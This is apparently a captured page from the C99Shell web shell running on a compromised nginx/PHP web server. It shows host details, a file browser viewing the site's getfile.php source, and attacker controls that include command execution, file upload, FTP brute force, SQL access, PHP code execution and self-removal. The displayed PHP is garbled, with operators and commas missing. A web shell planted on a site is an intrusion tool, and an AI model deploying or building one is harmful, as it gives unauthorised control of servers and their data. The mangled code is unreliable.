!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     getfile.php (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
@ini_set("display_errors","1");
@
ini_set("display_startup_errors","1");

require_once(
"include/dbcommon.php");


$shortTableName postvalue("table");
$table GetTableByShort$shortTableName );
if( !
$table )
    exit(
0);

$pageName postvalue("pagename");

$strFilename postvalue("filename");
$ext substr$strFilenamestrlen($strFilename) - );
$ctype getContentTypeByExtension($ext);
$field postvalue("field");

if( !
Security::userHasFieldPermissions$table$fieldPAGE_LIST$pageNamefalse ) )
    return;

$pSet = new ProjectSettings$tablePAGE_LIST$pageName );
/*$gQuery = $pSet->getSQLQuery();

if( !$gQuery->HasGroupBy() )
{
    // Do not select any fields except current (file) field.
    // If query has 'group by' clause then other fields are used in it and we may not simply cut 'em off.
    // Just don't do anything in that case.
    $gQuery->RemoveAllFieldsExcept( $pSet->getFieldIndex($field) );
}*/

$_connection $cman->byTable$table );

$keys = array();
foreach( 
$pSet->getTableKeys() as $ind => $k ) {
    
$keys$k ] = postvalue("key".($ind 1));
}
/*$where = KeyWhere($keys, $table);

if( $pSet->getAdvancedSecurityType() == ADVSECURITY_VIEW_OWN )
{
    $where = whereAdd( $where, SecuritySQL("Search", $table ) );    
}

$sql = $gQuery->gSQLWhere( $where );
$qResult = $_connection->query( $sql );*/

$dc = new DsCommand();
$dc->filter Security::SelectCondition"S"$pSet );
$dc->keys $keys;

$qResult getDataSource$table$pSet$_connection )->getSingle$dc );
if( !
$qResult || !( $data $qResult->fetchAssoc() ) )
    return;

$value $_connection->stripSlashesBinary$data[$field ] );

header("Content-Type: ".$ctype);
header("Content-Disposition: attachment;Filename=\"".$strFilename."\"");
header("Cache-Control: private");
SendContentLengthstrlen_bin($value) );
echoBinary$value );
return;

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.002 ]--